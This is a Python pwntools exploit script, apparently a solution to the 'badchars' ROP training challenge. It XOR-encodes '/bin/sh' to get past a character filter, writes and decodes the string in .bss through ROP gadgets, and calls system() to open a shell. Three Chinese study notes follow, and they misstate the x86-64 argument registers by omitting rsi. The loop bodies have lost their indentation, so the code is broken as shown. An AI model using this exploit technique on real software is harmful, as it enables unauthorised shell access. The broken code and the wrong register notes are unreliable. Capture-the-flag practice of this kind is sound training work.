from pwn import *
p=process('../badchars')
elf=ELF('../badchars')
bss_addr=elf.bss()
system_addr=elf.plt['system']
pop_rdi=0x0400b39
pop_r12_r13=0x0400B3B
mov_ret=0x0400B34
xor_ret=0x0400B30
pop_r14_r15=0x0400B40
bin_sh="/bin/sh\x00"
xor_value=10
xorsh=''
for i in bin_sh:
xorsh+=chr(ord(i)^xor_value)
payload='a'*0x28
payload+=p64(pop_r12_r13)
payload+=xorsh
payload+=p64(bss_addr)
payload+=p64(mov_ret)
for i in range(len(xorsh)):
payload+=p64(pop_r14_r15)
payload+=p64(xor_value)
payload+=p64(bss_addr+i)
payload+=p64(xor_ret)
payload+=p64(pop_rdi)
payload+=p64(bss_addr)
payload+=p64(system_addr)
p.recvuntil('> ')
p.sendline(payload)
p.interactive()
64位和32位的传参方式有不同一定要记住哈哈
64位前6个参数用寄存器传参rdi,rdx,rcx,…(不记得了 ~~)
然后32位是用栈传参